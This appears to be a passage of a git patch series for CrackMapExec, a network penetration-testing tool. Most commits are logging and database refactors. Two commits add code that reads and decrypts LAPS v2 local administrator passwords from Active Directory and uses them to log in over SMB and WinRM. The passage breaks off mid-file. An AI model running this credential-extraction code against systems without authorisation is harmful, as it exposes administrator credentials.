kerberos=None, + logger=None ): self.__username = username self.__password = password @@ -220,7 +222,7 @@ class LSAQuery: self.__kerberos = kerberos self.dce = self.get_dce() self.policy_handle = self.get_policy_handle() - self.logger = cme_logger + self.logger = logger def get_transport(self): string_binding = f"ncacn_np:{self.__remote_name}[\\pipe\\lsarpc]" diff --git a/cme/protocols/smb/smbexec.py b/cme/protocols/smb/smbexec.py index d9fc5cbd..cc0d7d9e 100755 --- a/cme/protocols/smb/smbexec.py +++ b/cme/protocols/smb/smbexec.py @@ -26,6 +26,7 @@ class SMBEXEC: hashes=None, share=None, port=445, + logger=cme_logger ): self.__host = host self.__share_name = "C$" @@ -50,7 +51,7 @@ class SMBEXEC: self.__aesKey = aesKey self.__doKerberos = doKerberos self.__kdcHost = kdcHost - self.logger = cme_logger + self.logger = logger if hashes is not None: # This checks to see if we didn't provide the LM Hash diff --git a/cme/protocols/smb/wmiexec.py b/cme/protocols/smb/wmiexec.py index a023f5db..57c8e2e2 100755 --- a/cme/protocols/smb/wmiexec.py +++ b/cme/protocols/smb/wmiexec.py @@ -25,6 +25,7 @@ class WMIEXEC: kdcHost=None, hashes=None, share=None, + logger=cme_logger ): self.__target = target self.__username = username @@ -43,7 +44,7 @@ class WMIEXEC: self.__kdcHost = kdcHost self.__doKerberos = doKerberos self.__retOutput = True - self.logger = cme_logger + self.logger = logger if hashes is not None: # This checks to see if we didn't provide the LM Hash From 9104c9b198de4c38e6ef0158531373f7f1bb185c Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Tue, 9 May 2023 09:59:25 -0400 Subject: [PATCH 53/76] fix(smb): set self.protocol property --- cme/protocols/smb.py | 1 + 1 file changed, 1 insertion(+) diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index 8772e15e..bf955420 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -163,6 +163,7 @@ class smb(connection): self.pvkbytes = None self.no_da = None self.no_ntlm = False + self.protocol = "SMB" connection.__init__(self, args, db, host) From 84a66dc65097cc709d8524ab4748a255718d186b Mon Sep 17 00:00:00 2001 From: mpgn Date: Wed, 10 May 2023 16:18:07 -0400 Subject: [PATCH 54/76] use fail instead of error for bh --- cme/helpers/bloodhound.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/cme/helpers/bloodhound.py b/cme/helpers/bloodhound.py index 89bb4ce0..ac4e2378 100644 --- a/cme/helpers/bloodhound.py +++ b/cme/helpers/bloodhound.py @@ -43,13 +43,13 @@ def add_user_bh(user, domain, logger, config): result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name') logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound") except AuthError as e: - logger.error(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.") + logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.") return except ServiceUnavailable as e: - logger.error(f"Neo4J does not seem to be available on {uri}.") + logger.fail(f"Neo4J does not seem to be available on {uri}.") return except Exception as e: - logger.error("Unexpected error with Neo4J") - logger.error("Account not found on the domain") + logger.fail("Unexpected error with Neo4J") + logger.fail("Account not found on the domain") return driver.close() From 914c549327bb71d0357d6eeff1acd441eac8298d Mon Sep 17 00:00:00 2001 From: mpgn Date: Wed, 10 May 2023 16:26:14 -0400 Subject: [PATCH 55/76] improve ldap bloodhound output --- cme/protocols/ldap.py | 3 ++- cme/protocols/smb.py | 11 +---------- 2 files changed, 3 insertions(+), 11 deletions(-) diff --git a/cme/protocols/ldap.py b/cme/protocols/ldap.py index 4cd20007..8cc7bd0b 100644 --- a/cme/protocols/ldap.py +++ b/cme/protocols/ldap.py @@ -389,6 +389,7 @@ class ldap(connection): self.server_os = self.conn.getServerOS() self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"] self.os_arch = self.get_os_arch() + self.logger.extra["hostname"] = self.hostname if not self.domain: self.domain = self.hostname @@ -1483,7 +1484,7 @@ class ldap(connection): collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection) if not collect: return - self.logger.highlight("Resolved collection methods: %s", ", ".join(list(collect))) + self.logger.highlight("Resolved collection methods: " + ", ".join(list(collect))) self.logger.debug("Using DNS to retrieve domain information") ad.dns_resolve(domain=self.domain) diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index bf955420..ee319644 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -657,16 +657,7 @@ class smb(connection): kerb_pass = "" self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}") - self.conn.kerberosLogin( - username, - password, - domain, - lmhash, - nthash, - aesKey, - kdcHost, - useCache=useCache, - ) + self.conn.kerberosLogin( username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache) self.check_if_admin() if username == "": From 5a16e8956da165acc625a72c75fe0949321448a6 Mon Sep 17 00:00:00 2001 From: mpgn Date: Wed, 10 May 2023 16:36:06 -0400 Subject: [PATCH 56/76] always use fqdn for domain in db #40wq --- cme/protocols/mssql/database.py | 6 +----- cme/protocols/smb.py | 2 +- cme/protocols/smb/database.py | 7 ------- 3 files changed, 2 insertions(+), 13 deletions(-) diff --git a/cme/protocols/mssql/database.py b/cme/protocols/mssql/database.py index ff8a6532..4d4cf6a9 100755 --- a/cme/protocols/mssql/database.py +++ b/cme/protocols/mssql/database.py @@ -96,9 +96,7 @@ class database: TODO: return inserted or updated row ids as a list """ cme_logger.debug(f"{domain} {ip} {os} {instances}") - if domain: - domain = domain.split(".")[0].upper() - else: + if not domain: domain = "" hosts = [] @@ -144,7 +142,6 @@ class database: """ Check if this credential has already been added to the database, if not add it in. """ - domain = domain.split(".")[0].upper() user_rowid = None credential_data = {} @@ -198,7 +195,6 @@ class database: self.conn.execute(q) def add_admin_user(self, credtype, domain, username, password, host, user_id=None): - domain = domain.split(".")[0].upper() if user_id: q = select(self.UsersTable).filter(self.UsersTable.c.id == user_id) diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index ee319644..5b5665ae 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -1076,7 +1076,7 @@ class smb(connection): try: self.logger.debug(f"domain: {self.domain}") - user_id = self.db.get_user(self.domain.split(".")[0].upper(), self.username)[0][0] + user_id = self.db.get_user(self.domain.upper(), self.username)[0][0] except Exception as e: error = get_error_string(e) self.logger.fail(f"Error getting user: {error}") diff --git a/cme/protocols/smb/database.py b/cme/protocols/smb/database.py index d0a97e74..63e27e8d 100755 --- a/cme/protocols/smb/database.py +++ b/cme/protocols/smb/database.py @@ -196,7 +196,6 @@ class database: """ Check if this host has already been added to the database, if not, add it in. """ - domain = domain.split(".")[0] hosts = [] updated_ids = [] @@ -264,7 +263,6 @@ class database: """ Check if this credential has already been added to the database, if not add it in. """ - domain = domain.split(".")[0] credentials = [] groups = [] @@ -338,7 +336,6 @@ class database: self.conn.execute(q) def add_admin_user(self, credtype, domain, username, password, host, user_id=None): - domain = domain.split(".")[0] add_links = [] creds_q = select(self.UsersTable) @@ -426,7 +423,6 @@ class database: return results def get_credential(self, cred_type, domain, username, password): - domain = domain.split(".")[0] q = select(self.UsersTable).filter( self.UsersTable.c.domain == domain, @@ -508,7 +504,6 @@ class database: def add_group(self, domain, name, rid=None, member_count_ad=None): results = self.get_groups(group_name=name, group_domain=domain) - domain = domain.split(".")[0] groups = [] updated_ids = [] @@ -577,8 +572,6 @@ class database: """ Return groups from the database """ - if group_domain: - group_domain = group_domain.split(".")[0] if filter_term and self.is_group_valid(filter_term): q = select(self.GroupsTable).filter(self.GroupsTable.c.id == filter_term) From f8e787a5f4c8d966fe1cec9a90d163fee64baf4e Mon Sep 17 00:00:00 2001 From: Alex <61382599+NeffIsBack@users.noreply.github.com> Date: Thu, 11 May 2023 14:41:42 +0200 Subject: [PATCH 57/76] Delete output-test.py --- cme/modules/output-test.py | 33 --------------------------------- 1 file changed, 33 deletions(-) delete mode 100644 cme/modules/output-test.py diff --git a/cme/modules/output-test.py b/cme/modules/output-test.py deleted file mode 100644 index df2612ae..00000000 --- a/cme/modules/output-test.py +++ /dev/null @@ -1,33 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- - - -class CMEModule: - name = "test" - description = "I do something" - supported_protocols = ["smb"] - opsec_safe = True # Does the module touch disk? - multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time? - - def __init__(self, context=None, module_options=None): - self.context = context - self.module_options = module_options - - def options(self, context, module_options): - """Required. - Module options get parsed here. Additionally, put the modules usage here as well - """ - pass - - def on_admin_login(self, context, connection): - """Concurrent. - Required if on_login is not present - This gets called on each authenticated connection with Administrative privileges - """ - context.log.info("info") - context.log.display("display") - context.log.success("success") - context.log.highlight("highlight") - context.log.fail("error test") - context.log.fail("fail test") - context.log.debug("debug") From 6de4370a251ba2f05093fe5e38bdef1c7cc73527 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Mon, 8 May 2023 19:34:44 -0400 Subject: [PATCH 58/76] tests: add details about --errors options for e2e tests --- tests/README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tests/README.md b/tests/README.md index 73b7a4a5..d663adda 100644 --- a/tests/README.md +++ b/tests/README.md @@ -7,4 +7,5 @@ ### End to End Tests * Install CME (either in venv or via Poetry) * Run `python tests/e2e_tests.py -t $IP -u $USER -p $PASS`, with optional `-k` parameter - * Poetry: `poetry run python tests/e2e_tests.py -t $IP -u $USER -p $PASS` \ No newline at end of file + * Poetry: `poetry run python tests/e2e_tests.py -t $IP -u $USER -p $PASS` +* To see full errors (that might show real errors not caught by checking the exit code), run with the `--errors` flag \ No newline at end of file From 321be0f1ac4740db2d732ebcb70c1a69c2c8663f Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Mon, 8 May 2023 19:34:17 -0400 Subject: [PATCH 59/76] update ftp db db session name --- cme/protocols/ftp/database.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/cme/protocols/ftp/database.py b/cme/protocols/ftp/database.py index abd8cf3c..61cae33f 100644 --- a/cme/protocols/ftp/database.py +++ b/cme/protocols/ftp/database.py @@ -22,8 +22,7 @@ class database: session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) Session = scoped_session(session_factory) - # this is still named "conn" when it is the session object; TODO: rename - self.conn = Session() + self.sess = Session() @staticmethod def db_schema(db_conn): From 2c282beeef3db858c8f710bda42723454b99487f Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Mon, 8 May 2023 13:29:22 -0400 Subject: [PATCH 60/76] initial ftp changes --- cme/protocols/ftp/database.py | 48 +++++++++++++++++++++++------------ 1 file changed, 32 insertions(+), 16 deletions(-) diff --git a/cme/protocols/ftp/database.py b/cme/protocols/ftp/database.py index 61cae33f..bee42aaf 100644 --- a/cme/protocols/ftp/database.py +++ b/cme/protocols/ftp/database.py @@ -15,46 +15,62 @@ class database: def __init__(self, db_engine): self.CredentialsTable = None self.HostsTable = None + self.LoggedinRelationsTable = None self.db_engine = db_engine self.metadata = MetaData() self.reflect_tables() - session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) + session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) Session = scoped_session(session_factory) self.sess = Session() @staticmethod def db_schema(db_conn): - db_conn.execute( - """CREATE TABLE "credentials" ( + db_conn.execute("""CREATE TABLE "credentials" ( "id" integer PRIMARY KEY, "username" text, "password" text - )""" - ) + )""") - db_conn.execute( - """CREATE TABLE "hosts" ( + db_conn.execute("""CREATE TABLE "hosts" ( "id" integer PRIMARY KEY, - "ip" text, + "host" text, "port" integer, - "server_banner" text - )""" - ) + "banner" text + )""") + db_conn.execute("""CREATE TABLE "loggedin_relations" ( + "id" integer PRIMARY KEY, + "credid" integer, + "hostid" integer, + FOREIGN KEY(credid) REFERENCES credentials(id), + FOREIGN KEY(hostid) REFERENCES hosts(id) + )""") def reflect_tables(self): with self.db_engine.connect() as conn: try: - self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) - self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) + self.CredentialsTable = Table( + "credentials", self.metadata, autoload_with=self.db_engine + ) + self.HostsTable = Table( + "hosts", self.metadata, autoload_with=self.db_engine + ) + self.LoggedinRelationsTable = Table( + "loggedin_relations", self.metadata, autoload_with=self.db_engine + ) except (NoInspectionAvailable, NoSuchTableError): - print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema") + print( + "[-] Error reflecting tables - this means there is a DB schema mismatch \n" + "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" + "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" + "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema" + ) exit() def shutdown_db(self): try: - self.conn.close() + self.sess.close() # due to the async nature of CME, sometimes session state is a bit messy and this will throw: # Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and # this would cause an unexpected state change to @@ -63,4 +79,4 @@ class database: def clear_database(self): for table in self.metadata.sorted_tables: - self.conn.execute(table.delete()) + self.sess.execute(table.delete()) From 7a9102b2eeb83e4a0dbfe0e14564307e3c6d4177 Mon Sep 17 00:00:00 2001 From: mpgn Date: Wed, 17 May 2023 16:39:11 -0400 Subject: [PATCH 61/76] decrypt laps password --- cme/protocols/ldap/smbldap.py | 178 ---------------------------------- cme/protocols/smb.py | 42 ++++---- cme/protocols/winrm.py | 40 +++++--- pyproject.toml | 3 +- 4 files changed, 50 insertions(+), 213 deletions(-) delete mode 100644 cme/protocols/ldap/smbldap.py diff --git a/cme/protocols/ldap/smbldap.py b/cme/protocols/ldap/smbldap.py deleted file mode 100644 index 8d0c0075..00000000 --- a/cme/protocols/ldap/smbldap.py +++ /dev/null @@ -1,178 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- - -from impacket.ldap import ldap as ldap_impacket -from impacket.krb5.kerberosv5 import KerberosError -from cme.logger import CMEAdapter - - -ldap_error_status = { - "1": "STATUS_NOT_SUPPORTED", - "533": "STATUS_ACCOUNT_DISABLED", - "701": "STATUS_ACCOUNT_EXPIRED", - "531": "STATUS_ACCOUNT_RESTRICTION", - "530": "STATUS_INVALID_LOGON_HOURS", - "532": "STATUS_PASSWORD_EXPIRED", - "773": "STATUS_PASSWORD_MUST_CHANGE", - "775": "USER_ACCOUNT_LOCKED", - "50": "LDAP_INSUFFICIENT_ACCESS", - "KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED", - "KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED", -} - - -class LDAPConnect: - def __init__(self, host, port, hostname): - self.logger = None - self.proto_logger(host, port, hostname) - - def proto_logger(self, host, port, hostname): - self.logger = CMEAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname}) - - def kerberos_login( - self, - domain, - username, - password="", - ntlm_hash="", - aesKey="", - kdcHost="", - useCache=False, - ): - lmhash = "" - nthash = "" - - if kdcHost is None: - kdcHost = domain - - # This checks to see if we didn't provide the LM Hash - if ntlm_hash and ntlm_hash.find(":") != -1: - lmhash, nthash = ntlm_hash.split(":") - elif ntlm_hash: - nthash = ntlm_hash - - # Create the baseDN - baseDN = "" - domainParts = domain.split(".") - for i in domainParts: - baseDN += f"dc={i}," - # Remove last ',' - baseDN = baseDN[:-1] - - try: - ldapConnection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN) - ldapConnection.kerberosLogin( - username, - password, - domain, - lmhash, - nthash, - aesKey, - kdcHost=kdcHost, - useCache=False, - ) - # Connect to LDAP - out = f"{domain}{username}:{password if password else ntlm_hash}" - self.logger.extra["protocol"] = "LDAP" - self.logger.extra["port"] = "389" - return ldapConnection - except ldap_impacket.LDAPSessionError as e: - if str(e).find("strongerAuthRequired") >= 0: - # We need to try SSL - try: - ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN) - ldapConnection.login( - username, - password, - domain, - lmhash, - nthash, - aesKey, - kdcHost=kdcHost, - useCache=False, - ) - self.logger.extra["protocol"] = "LDAPS" - self.logger.extra["port"] = "636" - # self.logger.success(out) - return ldapConnection - except ldap_impacket.LDAPSessionError as e: - errorCode = str(e).split()[-2][:-1] - self.logger.fail( - f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", - color="magenta" if errorCode in ldap_error_status else "red", - ) - else: - errorCode = str(e).split()[-2][:-1] - self.logger.fail( - f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", - color="magenta" if errorCode in ldap_error_status else "red", - ) - return False - - except OSError as e: - self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}") - return False - except KerberosError as e: - self.logger.fail( - f"{domain}\\{username}:{password if password else ntlm_hash} {str(e)}", - color="red", - ) - return False - - def auth_login(self, domain, username, password, ntlm_hash): - lmhash = "" - nthash = "" - - # This checks to see if we didn't provide the LM Hash - if ntlm_hash and ntlm_hash.find(":") != -1: - lmhash, nthash = ntlm_hash.split(":") - elif ntlm_hash: - nthash = ntlm_hash - - # Create the baseDN - baseDN = "" - domainParts = domain.split(".") - for i in domainParts: - baseDN += f"dc={i}," - # Remove last ',' - baseDN = baseDN[:-1] - - try: - ldapConnection = ldap_impacket.LDAPConnection(f"ldap://{domain}", baseDN, domain) - ldapConnection.login(username, password, domain, lmhash, nthash) - - # Connect to LDAP - out = "{domain}\\{username}:{password if password else ntlm_hash}" - self.logger.extra["protocol"] = "LDAP" - self.logger.extra["port"] = "389" - # self.logger.success(out) - - return ldapConnection - - except ldap_impacket.LDAPSessionError as e: - if str(e).find("strongerAuthRequired") >= 0: - # We need to try SSL - try: - ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", baseDN, domain) - ldapConnection.login(username, password, domain, lmhash, nthash) - self.logger.extra["protocol"] = "LDAPS" - self.logger.extra["port"] = "636" - # self.logger.success(out) - return ldapConnection - except ldap_impacket.LDAPSessionError as e: - errorCode = str(e).split()[-2][:-1] - self.logger.fail( - f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", - color="magenta" if errorCode in ldap_error_status else "red", - ) - else: - errorCode = str(e).split()[-2][:-1] - self.logger.fail( - f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", - color="magenta" if errorCode in ldap_error_status else "red", - ) - return False - - except OSError as e: - self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}") - return False diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index 5b5665ae..f8ef2994 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -41,7 +41,7 @@ from cme.protocols.smb.smbspider import SMBSpider from cme.protocols.smb.passpol import PassPolDump from cme.protocols.smb.samruser import UserSamrDump from cme.protocols.smb.samrfunc import SamrFunc -from cme.protocols.ldap.smbldap import LDAPConnect +from cme.protocols.ldap.laps import LDAPConnect, LAPSv2Extract from cme.helpers.logger import highlight from cme.helpers.misc import * from cme.helpers.bloodhound import add_user_bh @@ -568,23 +568,34 @@ class smb(connection): msMCSAdmPwd = "" sAMAccountName = "" - username = "" + username_laps = "" from impacket.ldap import ldapasn1 as ldapasn1_impacket results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)] if len(results) != 0: for host in results: - values = {str(attr["type"]).lower(): str(attr["vals"][0]) for attr in host["attributes"]} + values = {str(attr["type"]).lower(): attr["vals"][0] for attr in host["attributes"]} if "mslaps-encryptedpassword" in values: - self.logger.fail("LAPS password is encrypted and currently CrackMapExec doesn't support the decryption...") - return False - elif "mslaps-password" in values: - r = loads(values["mslaps-password"]) + msMCSAdmPwd = values["mslaps-encryptedpassword"] + d = LAPSv2Extract( + bytes(msMCSAdmPwd), + username[0] if username else "", + password[0] if password else "", + domain, + ntlm_hash[0] if ntlm_hash else "", + self.args.kerberos, + 339) + data = d.run() + r = loads(data) msMCSAdmPwd = r["p"] - username = r["n"] + username_laps = r["n"] + elif "mslaps-password" in values: + r = loads(str(values["mslaps-password"])) + msMCSAdmPwd = r["p"] + username_laps = r["n"] elif "ms-mcs-admpwd" in values: - msMCSAdmPwd = values["ms-mcs-admpwd"] + msMCSAdmPwd = str(values["ms-mcs-admpwd"]) else: self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password") logging.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}") @@ -593,7 +604,7 @@ class smb(connection): return False - self.username = self.args.laps if not username else username + self.username = self.args.laps if not username_laps else username_laps self.password = msMCSAdmPwd if msMCSAdmPwd == "": @@ -615,16 +626,7 @@ class smb(connection): return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain) return True - def kerberos_login( - self, - domain, - username, - password="", - ntlm_hash="", - aesKey="", - kdcHost="", - useCache=False, - ): + def kerberos_login( self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): logging.getLogger("impacket").disabled = True # Re-connect since we logged off if not self.no_ntlm: diff --git a/cme/protocols/winrm.py b/cme/protocols/winrm.py index 9cc1365e..0ff3dada 100644 --- a/cme/protocols/winrm.py +++ b/cme/protocols/winrm.py @@ -2,19 +2,20 @@ # -*- coding: utf-8 -*- import binascii import hashlib -from datetime import datetime import os import requests + +from datetime import datetime +from pypsrp.client import Client + from impacket.smbconnection import SMBConnection +from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes from cme.config import process_secret from cme.connection import * from cme.helpers.bloodhound import add_user_bh -from cme.protocols.ldap.smbldap import LDAPConnect +from cme.protocols.ldap.laps import LDAPConnect, LAPSv2Extract from cme.logger import CMEAdapter -from pypsrp.client import Client -from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes - class winrm(connection): def __init__(self, args, db, host): @@ -213,25 +214,36 @@ class winrm(connection): msMCSAdmPwd = "" sAMAccountName = "" - username = "" + username_laps = "" from impacket.ldap import ldapasn1 as ldapasn1_impacket results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)] if len(results) != 0: for host in results: - values = {str(attr["type"]).lower(): str(attr["vals"][0]) for attr in host["attributes"]} + values = {str(attr["type"]).lower(): attr["vals"][0] for attr in host["attributes"]} if "mslaps-encryptedpassword" in values: - self.logger.fail("LAPS password is encrypted and currently CrackMapExec doesn't" " support the decryption...") - return False + from json import loads + msMCSAdmPwd = values["mslaps-encryptedpassword"] + d = LAPSv2Extract( + bytes(msMCSAdmPwd), + username[0] if username else "", + password[0] if password else "", + domain, + ntlm_hash[0] if ntlm_hash else "", + self.args.kerberos, + 339) + data = d.run() + r = loads(data) + msMCSAdmPwd = r["p"] + username_laps = r["n"] elif "mslaps-password" in values: from json import loads - - r = loads(values["mslaps-password"]) + r = loads(str(values["mslaps-password"])) msMCSAdmPwd = r["p"] - username = r["n"] + username_laps = r["n"] elif "ms-mcs-admpwd" in values: - msMCSAdmPwd = values["ms-mcs-admpwd"] + msMCSAdmPwd = str(values["ms-mcs-admpwd"]) else: self.logger.fail("No result found with attribute ms-MCS-AdmPwd or" " msLAPS-Password") self.logger.debug("Host: {:<20} Password: {} {}".format(sAMAccountName, msMCSAdmPwd, self.hostname)) @@ -239,7 +251,7 @@ class winrm(connection): self.logger.fail("msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS" " property for {}".format(self.hostname)) return False - self.username = self.args.laps if not username else username + self.username = self.args.laps if not username_laps else username_laps self.password = msMCSAdmPwd if msMCSAdmPwd == "": diff --git a/pyproject.toml b/pyproject.toml index be1e0a02..881ffffb 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -35,7 +35,7 @@ neo4j = "^4.1.1" pylnk3 = "^0.4.2" pypsrp = "^0.7.0" paramiko = "^2.7.2" -impacket = { git = "https://github.com/mpgn/impacket.git", branch = "master" } +impacket = { git = "https://github.com/mpgn/impacket.git", branch = "gkdi" } dsinternals = "^1.2.4" xmltodict = "^0.12.0" terminaltables = "^3.1.0" @@ -51,6 +51,7 @@ masky = "^0.2.0" sqlalchemy = "^2.0.4" aiosqlite = "^0.18.0" pytest = "^7.2.2" +pyasn1-modules = "^0.3.0" [tool.poetry.dev-dependencies] flake8 = "*" From 4e93894784eac41d29b0adf095e90a6a90a58921 Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 18 May 2023 03:35:23 -0400 Subject: [PATCH 62/76] add missing file --- cme/protocols/ldap/laps.py | 265 +++++++++++++++++++++++++++++++++++++ 1 file changed, 265 insertions(+) create mode 100644 cme/protocols/ldap/laps.py diff --git a/cme/protocols/ldap/laps.py b/cme/protocols/ldap/laps.py new file mode 100644 index 00000000..2ff2e509 --- /dev/null +++ b/cme/protocols/ldap/laps.py @@ -0,0 +1,265 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +from pyasn1.codec.der import decoder +from pyasn1_modules import rfc5652 + +from impacket.ldap import ldap as ldap_impacket +from impacket.krb5.kerberosv5 import KerberosError +from impacket.dcerpc.v5 import transport +from impacket.dcerpc.v5.epm import hept_map +from impacket.dcerpc.v5.gkdi import MSRPC_UUID_GKDI, GkdiGetKey, GroupKeyEnvelope +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY +from impacket.dpapi_ng import EncryptedPasswordBlob, KeyIdentifier, compute_kek, create_sd, decrypt_plaintext, unwrap_cek + +from cme.logger import CMEAdapter + +ldap_error_status = { + "1": "STATUS_NOT_SUPPORTED", + "533": "STATUS_ACCOUNT_DISABLED", + "701": "STATUS_ACCOUNT_EXPIRED", + "531": "STATUS_ACCOUNT_RESTRICTION", + "530": "STATUS_INVALID_LOGON_HOURS", + "532": "STATUS_PASSWORD_EXPIRED", + "773": "STATUS_PASSWORD_MUST_CHANGE", + "775": "USER_ACCOUNT_LOCKED", + "50": "LDAP_INSUFFICIENT_ACCESS", + "KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED", + "KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED", +} + + +class LDAPConnect: + def __init__(self, host, port, hostname): + self.logger = None + self.proto_logger(host, port, hostname) + + def proto_logger(self, host, port, hostname): + self.logger = CMEAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname}) + + def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): + lmhash = "" + nthash = "" + + if kdcHost is None: + kdcHost = domain + + # This checks to see if we didn't provide the LM Hash + if ntlm_hash and ntlm_hash.find(":") != -1: + lmhash, nthash = ntlm_hash.split(":") + elif ntlm_hash: + nthash = ntlm_hash + + # Create the baseDN + baseDN = "" + domainParts = domain.split(".") + for i in domainParts: + baseDN += f"dc={i}," + # Remove last ',' + baseDN = baseDN[:-1] + + try: + ldapConnection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN) + ldapConnection.kerberosLogin( + username, + password, + domain, + lmhash, + nthash, + aesKey, + kdcHost=kdcHost, + useCache=False, + ) + # Connect to LDAP + out = f"{domain}{username}:{password if password else ntlm_hash}" + self.logger.extra["protocol"] = "LDAP" + self.logger.extra["port"] = "389" + return ldapConnection + except ldap_impacket.LDAPSessionError as e: + if str(e).find("strongerAuthRequired") >= 0: + # We need to try SSL + try: + ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN) + ldapConnection.login( + username, + password, + domain, + lmhash, + nthash, + aesKey, + kdcHost=kdcHost, + useCache=False, + ) + self.logger.extra["protocol"] = "LDAPS" + self.logger.extra["port"] = "636" + # self.logger.success(out) + return ldapConnection + except ldap_impacket.LDAPSessionError as e: + errorCode = str(e).split()[-2][:-1] + self.logger.fail( + f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", + color="magenta" if errorCode in ldap_error_status else "red", + ) + else: + errorCode = str(e).split()[-2][:-1] + self.logger.fail( + f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", + color="magenta" if errorCode in ldap_error_status else "red", + ) + return False + + except OSError as e: + self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}") + return False + except KerberosError as e: + self.logger.fail( + f"{domain}\\{username}:{password if password else ntlm_hash} {str(e)}", + color="red", + ) + return False + + def auth_login(self, domain, username, password, ntlm_hash): + lmhash = "" + nthash = "" + + # This checks to see if we didn't provide the LM Hash + if ntlm_hash and ntlm_hash.find(":") != -1: + lmhash, nthash = ntlm_hash.split(":") + elif ntlm_hash: + nthash = ntlm_hash + + # Create the baseDN + baseDN = "" + domainParts = domain.split(".") + for i in domainParts: + baseDN += f"dc={i}," + # Remove last ',' + baseDN = baseDN[:-1] + + try: + ldapConnection = 